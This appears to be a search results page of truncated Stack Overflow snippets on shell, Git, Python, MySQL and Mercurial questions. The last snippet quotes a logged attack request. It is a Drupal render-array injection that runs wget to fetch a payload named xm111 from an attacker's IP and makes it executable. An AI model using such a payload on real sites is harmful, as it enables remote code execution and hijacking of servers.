大约有 14,000 项符合查询结果（耗时：0.0212秒） [XML]
What is the string length of a GUID?
... use something like varchar(50). So if you store something like '1234ABC-ABCD-12AB-34CD-FEDCBA12' you don't have to go back and forth in translating it. What you are suggesting is slightly more CPU intensive than just reading/writing the value, which is what you want in practice.
...
How can I beautify JavaScript code using Command Line?
... How I did it: :~$ sudo apt-get install libv8-dev libv8-2.2.18 :~$ cd einars-js-beautify-f90ce72/v8 :~$ g++ -o jsbeautify jsbeautify.cpp -lv8 -Llib -lpthread It just works. Thanks to Einar Lielmanis and everyone involved!
– Беров
Mar 6 '11 at 13...
How do I check to see if a value is an integer in MySQL?
...= (LENGTH(<data>)) AS is_int
see demo http://sqlfiddle.com/#!9/ff40cd/44
it will fail if the column has a single character value. if column has
a value 'A' then Cast('A' as UNSIGNED) will evaluate to 0 and
LENGTH(0) will be 1. so LENGTH(Cast('A' as UNSIGNED))=LENGTH(0) will
evaluat...
Finding the source code for built-in Python functions?
...thon/cpython.git
Code will checkout to a subdirectory called cpython -> cd cpython
Let's say we are looking for the definition of print()...
egrep --color=always -R 'print' | less -R
Aha! See Python/bltinmodule.c -> builtin_print()
Enjoy.
...
Remove specific characters from a string in Python
...
Am I missing the point here, or is it just the following:
string = "ab1cd1ef"
string = string.replace("1","")
print string
# result: "abcdef"
Put it in a loop:
a = "a!b@c#d$"
b = "!@#$"
for char in b:
a = a.replace(char,"")
print a
# result: "abcd"
...
Is there any way to delete local commits in Mercurial?
... changeset I wanted to strip.
$ hg log -l 10
changeset: 2499:81a7a8f7a5cd
branch: component_engine
tag: tip
user: myname<myname@email.com>
date: Fri Aug 14 12:22:02 2015 +0800
summary: get runs from sandbox
changeset: 2498:9e3e1de76127
branch: compone...
How can I Remove .DS_Store files from a Git repository?
...
Open terminal and type "cd < ProjectPath >"
Remove existing files:
find . -name .DS_Store -print0 | xargs -0 git rm -f --ignore-unmatch
nano .gitignore
Add this .DS_Store
type "ctrl + x"
Type "y"
Enter to save file
git add .gitignore
git com...
git: undo all working dir changes including new files
...ch only deleted the the first file (without the leading ../). So I had to cd ../ up into the second location directory in order to delete the second file using that command.
– Chris22
Dec 3 '18 at 20:11
...
Cross-referencing commits in github
...oject@SHA
For example:
mojombo/god@be6a8cc1c1ecfe9489fb51e4869af15a13fc2cd2
Short SHAs work as well (as long as they are unique):
mojombo/god@be6a8cc
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What is /dev/null 2>&1?
...ke : POST /user/password?name[%23post_render][]=system&name[%23markup]=cd+/tmp;wget+-O+xm111+xxx.xxx.xxx.xxx/xm111;chmod+777+xm111;wget+-O+config.json+http:/… > /dev/null 2>&1 & HTTP/1.1 xxx.xxx.xxx.xxx is attacker's IP and it is also listed as abusive in man...